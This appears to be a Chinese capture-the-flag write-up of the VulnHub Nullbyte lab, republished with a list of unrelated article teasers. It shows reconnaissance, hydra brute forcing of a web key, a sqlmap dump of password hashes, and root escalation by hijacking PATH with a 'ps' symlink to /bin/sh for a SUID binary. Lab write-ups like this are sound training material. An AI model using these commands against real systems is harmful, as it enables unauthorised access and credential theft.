VulnHub Nullbyte

news2024/12/26 11:49:31

一、信息收集

1.nmap扫描

arp-scan -l扫描内网存活主机

┌──(root💀kali)-[~/桌面]
└─# nmap -sS -A -p- 192.168.103.201/24
-sS 半扫描
-A 扫描详细信息
-p- 扫描全端口

发现开放了80、111、777、50978端口

且发现777端口开放了ssh服务,说明他把默认22端口修改成了777端口

2.web页面

1.打开80端口

翻译一下下面的提示:意思是要找到正确的渗透方式

2.扫描80端口目录
┌──(root💀kali)-[~/桌面]
└─# dirsearch -u http://192.168.103.201

目录扫描字典字典的话推荐:/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
                      /usr/share/wordlists/dirb/big.txt

扫描得到以下目录:

/uploads

/javascript

/phpmyadmin

显然/uploads目录和上传相关,说不定我们可以在此上传shell,访问试试,发现无法列出相应目录,不过没关系,只要我们可以上传,这依旧是个关键路径

再看phpmyadmin,应该就是phpmyadmin的管理界面,打开一看,果不其然:

遇到登录框,首先试试是不是弱口令,这个试过弱口令了,发现试不出来

然后试着查看源代码看看有没有啥提示:

发现80端口下面的源代码有个图片提示。

我们可以采用CTF的思路,把这张“慧眼”的图片下载下来看看还有没有啥提示:

┌──(root💀kali)-[~/桌面]
└─# wget http://192.168.103.201/main.gif

先用file看看这个文件的具体信息,确实就是个gif的图像文件

strings main.gif

strings 命令在对象文件或二进制文件中查找可打印的字符串。字符串是 4 个或更多可打印字符的任意序列,以换行符或空字符结束。 strings 命令对识别随机对象文件很有用

这个kzMb5nVYJw,有可能是某个密码,所以可以尝试ssh登录、phpmyadmin也可以试试,但是都失败了

kzMb5nVYJw除了是密码,还有可能是什么呢?还有可能是web目录的一个路径,所以试试路径

发现,还真的是路径,发现是个要输入key的页面

查看网页源代码

这个提示暗示我们可以尝试一些弱口令,同时我感觉还有个言外之意:这个表单没有连接到MySQL,那么总有其他连接到MySQL的地方吧?数据库应该就是MySQL了

this form isn't connected to mysql, password ain't that complex
:这个表单没有连接到mysql,密码没有那么复杂

我们试着输入kzMb5nVYJw进去,发现报错了

3.爆破

这里使用hydra脚本爆破,由于是post请求,参数要添加http-form-post,用两个^包围要暴力破

解的插值,并写上排除的字段invalid key(即出现哪些字符表示失败)。由于hydra脚本强制要求

添加一个-l参数表示login登录账号,我们这里随便填写一个即可(无实际意义,我写的bossfrank)

-P指定爆破脚本,一般靶机都可选择/usr/share/wordlists/rockyou.txt这个字典

┌──(root💀kali)-[/usr/share/wordlists]
└─# hydra 192.168.103.201 http-form-post "/kzMb5nVYJw/index.php:key=^PASS^:invalid key" -l bossfrank -P /usr/share/wordlists/rockyou.txt

爆破完毕:key是elite

输入正确的key后,出现下面的这个界面

发现输入,出现了报错,可以看到url存在注入点,说明存在sql注入

注入点http://192.168.103.201/kzMb5nVYJw/420search.php?usrtosearch=1

4.sqlmap跑

在前述注入的时候发现是GET型注入,输入的参数最后会提交到url中,这就很方便了

┌──(root💀kali)-[/usr/share/wordlists]
└─# sqlmap -u "http://192.168.103.201/kzMb5nVYJw/420search.php?usrtosearch=1" --dump --batch

+----+---------------------------------------------+--------+------------+
| id | pass                                        | user   | position   |
+----+---------------------------------------------+--------+------------+
| 1  | YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE | ramses | <blank>    |
| 2  | --not allowed--                             | isis   | employee   |
+----+---------------------------------------------+--------+------------+

密码,先base64解密,然后再md5解密,

得到密码是:omega

二、提权

1.ssh远程连接

┌──(root💀kali)-[~]
└─# ssh ramses@192.168.103.201 -p 777

密码omega

1.sudo -l提权

没有权限

2.SUID 查看有哪些有root执行权限

ramses@NullByte:~$ find / -user root -perm -4000 -print 2>/dev/null

3.查看计划任务

ramses@NullByte:~$ cat /etc/crontab

4.查看历史命令

先进入ramses用户目录下然后

ls -la

发现这个很奇怪,好像在前面那里见过,所以尝试在这里执行一下,发现执行不了,

2.procwatch文件

ramses@NullByte:~$ find / -user root -perm -4000 -print 2>/dev/null

后来发现是这里,看见过,这里的是表示root用户可以执行的权限命令

所以,先切换到/var/www/backup目录下

然后./procwatch执行下这个文件

ramses@NullByte:/var/www/backup$ ./procwatch
  PID TTY          TIME CMD
 1785 pts/0    00:00:00 procwatch
 1786 pts/0    00:00:00 sh
 1787 pts/0    00:00:00 ps

发现貌似还执行了两个命令,sh可能与shell相关,ps可能与进程相关。此时我们的提权思路就是

将提权的代码写入procwatch的相关文件中,而这个操作与sh和ps相关,这样在执行procwatch的时候,由于procwatch具有s权限,就可以以root身份运行,从而触发提权。

首先建立一个软连接,将ps链接到/bin/sh,这样在执行procwatch的时候,无论是sh还是ps都会把root的sh(shell)带出来:

ln -s /bin/sh ps

ls -la

然后我们修改环境变量,将当前目录.追加到环境变量的最开始:

export PATH=.:$PATH

然后我们运行procwatch,由于procwatch文件具有s权限,会以属主root运行,通过前面的操作可知,运行procwatch会触发sh。因此就相当于以root启动了shell,应该就可以提权了

3.flag

./procwatch

然后我们进入/root目录寻找flag,是proof.txt

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1193687.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

SQL Server 2022 安装步骤——SQL Server设置身份验证教程

目录 前言: 安装详细步骤: 第一步: 第二步: 第三步: 第四步: SQL Server 连接的方式: Window验证: SQL Server验证: 两者之间区别: 总结: SQL Server身份验证登录配置教程:​ 第一步: 第二步: 第三步: 番外篇: 前言: 本文讲解&#xff0c;如何安装SQL Server安…

Android修行手册-POI操作Excel实现超链接并且变为蓝色

点击跳转>Unity3D特效百例点击跳转>案例项目实战源码点击跳转>游戏脚本-辅助自动化点击跳转>Android控件全解手册点击跳转>Scratch编程案例点击跳转>软考全系列 &#x1f449;关于作者 专注于Android/Unity和各种游戏开发技巧&#xff0c;以及各种资源分享&…

RESTFUL是什么,为什么使用,有什么优点

ESTful&#xff08;Representational State Transfer&#xff09;是一种软件架构风格&#xff0c;用于设计网络应用程序和服务。它是一种面向资源的设计理念&#xff0c;强调资源的标识、表现层和统一接口。RESTful 架构的设计原则和优点使得它成为构建分布式系统和 Web 服务的…

【CMU 15-445】Proj1 Buffer Pool Manager

Buffer Pool Manager 通关记录Task1 LRU-K Replacement PolicyTask2 Disk SchedulerTask3 Buffer Pool ManagerFlushPageFlushAllPagesUnpinPageNewPageFetchPageDeletePage Optimizations CMU-15445汇总 本文对应的project版本为CMU-Fall-2023的project1 由于Andy要求&#xf…

切换数据库的临时表空间为temp1 / 切换数据库的undo表空间为 undotbs01

目录 ​编辑 一、切换临时表空间 1、登录数据库 2、查询默认临时表空间 3、创建临时表空间temp1&#xff08;我们的目标表空间&#xff09; 4、修改默认temp表空间 5、查询用户默认临时表空间 6、命令总结&#xff1a; 二、切换数据库的undo表空间 1、查询默认undo表…

护眼台灯横评|书客、明基、松下品牌大测评告诉你谁才是最亮的星!

护眼台灯哪个牌子好&#xff1f;随着护眼台灯普及率的日渐提高&#xff0c;护眼台灯市场也是十分火爆&#xff0c;但很多商家为了盈利&#xff0c;总是把重心放在宣传和营销手段上&#xff0c;从而导致护眼台灯的产品质量不过关&#xff0c;在使用过后不仅没有起到缓解眼睛疲劳…

【CASS精品教程】cass 3d基于osgb三维模型生成等高线的两种方法

对于植被、房屋稀少的地方,可以基于osgb模型直接生成等高线。本文讲解在cass11.0 3d中基于osgb三维模型生成等高线的两种方法。 一、加载osgb三维模型 二、生成等高线 1. 绘制等高线 cass11版本提供了绘制单个等高线的功能。 点击【绘制等高线】,提示输入等高距。 输入固定…

JVM中jhat虚拟机堆转储快照分析工具

jhat虚拟机堆转储快照分析工具 1、jhat jhat也是jdk内置的工具之一。主要是用来分析java堆的命令&#xff0c;可以将堆中的对象以html的形式显示出来&#xff0c;包括对 象的数量&#xff0c;大小等等&#xff0c;并支持对象查询语言。 使用jmap等方法生成java的堆文件后&a…

【考研数据结构代码题3】用栈实现十进制数转为八进制数

题目&#xff1a;将十进制数m1348转换成八进制数 难度&#xff1a;★ 算法思路&#xff1a;十进制转八进制的核心原理是“用辗转相除法不断对8取余&#xff0c;最后将余数反向输出”&#xff0c;即先求出来的余数后输出&#xff0c;符合“先进后出”的栈的特性&#xff0c;故设…

七个优秀微服务跟踪工具

随着微服务架构复杂性的增加&#xff0c;在问题出现时确定问题的根本原因变得更具挑战性。日志和指标为我们提供了有用的信息&#xff0c;但并不能提供系统的完整概况。这就是跟踪的用武之地。通过跟踪&#xff0c;开发人员可以监控微服务之间的请求进度&#xff0c;从而使他们…

C#基于inpoutx64读写ECRAM硬件信息

inpoutx64.dll分享路径&#xff1a; 链接&#xff1a;https://pan.baidu.com/s/1rOt0xtt9EcsrFQtf7S91ag 提取码&#xff1a;7om1 1.InpOutManager&#xff1a; using System; using System.Collections.Generic; using System.Linq; using System.Runtime.InteropServi…

多级缓存之缓存同步

缓存数据同步的常见方式有三种&#xff1a; 设置有效期&#xff1a;给缓存设置有效期&#xff0c;到期后自动删除。再次查询时更新 优势&#xff1a;简单、方便缺点&#xff1a;时效性差&#xff0c;缓存过期之前可能不一致场景&#xff1a;更新频率较低&#xff0c;时效性要…

d3.js

D3&#xff1a;Data-Driven Documents • 通过D3提供的接口来基于数据操控文档的各个图元。 标题对于D3(本讲解)最为重要的标签&#xff0c;主要操作的对象(画布) HTML - 导入D3.js D3.js作为JavaScript的外库&#xff0c;必须先将其导入&#xff0c;如&#xff1a; Python的…

[autojs]用户界面GUI编程

用户界面: UI视图: View attr(name, value)attr(name)whidgravitylayout_gravitymarginmarginLeftmarginRightmarginTopmarginBottompaddingpaddingLeftpaddingRightpaddingToppaddingBottombgalphaforegroundminHeightminWidthvisibilityrotationtransformPivotXtransformPivo…

移位操作符 位操作符详解

hello hello&#xff0c;想我了吗? &#x1f604;&#x1f604;&#x1f604; 首先是移位操作符&#xff1a;<< 左移操作符 >> 右移操作符 注&#xff1a;移位操作符的操作数只能是整数。 << 左移操作符&#xff1a;移位规则&#xff1a; 左边抛弃、…

我的AIGC部署实践03

我的AIGC部署实践03 这会是AIGC部署实践的第三回&#xff0c;用免费的GPU部署自己的stable-diffusion下面我们就开始吧。 1.创建项目 创建项目的镜像及数据集如下&#xff1a; 选择完成后点击创建&#xff0c;代码选择暂不上传。 2.初始化开发环境实例 点击最右侧的“开发…

服务器往客户端发送字符串的网络编程

服务器主要就是能够打开命令行提供的网络端口&#xff0c;然后一有客户端连接上&#xff0c;就会向客户端发送Welcome to Our Server!这段话。 服务器代码serverSayWelcome.c的代码如下&#xff1a; #include <stdio.h> #include <stdlib.h> #include <string.…

【ARM Trace32(劳特巴赫) 使用介绍 3 - trace32 访问运行时的内存】

请阅读【ARM Coresight SoC-400/SoC-600 专栏导读】 文章目录 1.1 trace32 访问运行时的内存1.1.1 侵入式 运行时内存访问1.1.2 非侵入式运行时访问1.1.3 缓存一致性的非侵入式运行时访问 1.2 Trace32 侵入式和非侵入式 运行时访问1.2.1 侵入式访问1.2.2 非侵入式运行时访问 1…

C++:关联式容器map的使用

1、map的简介 map是关联容器&#xff0c;它按照特定的次序(按照key来比较)存储由键值key和值value组合而成的元素。 在map中&#xff0c;键值key通常用于排序和惟一地标识元素&#xff0c;而值value中存储与此键值key关联的内容。键值key和值value的类型可能不同&#xff0c;并…

【数据结构】树与二叉树(八):二叉树的中序遍历(非递归算法NIO)

文章目录 5.2.1 二叉树二叉树性质引理5.1&#xff1a;二叉树中层数为i的结点至多有 2 i 2^i 2i个&#xff0c;其中 i ≥ 0 i \geq 0 i≥0。引理5.2&#xff1a;高度为k的二叉树中至多有 2 k 1 − 1 2^{k1}-1 2k1−1个结点&#xff0c;其中 k ≥ 0 k \geq 0 k≥0。引理5.3&…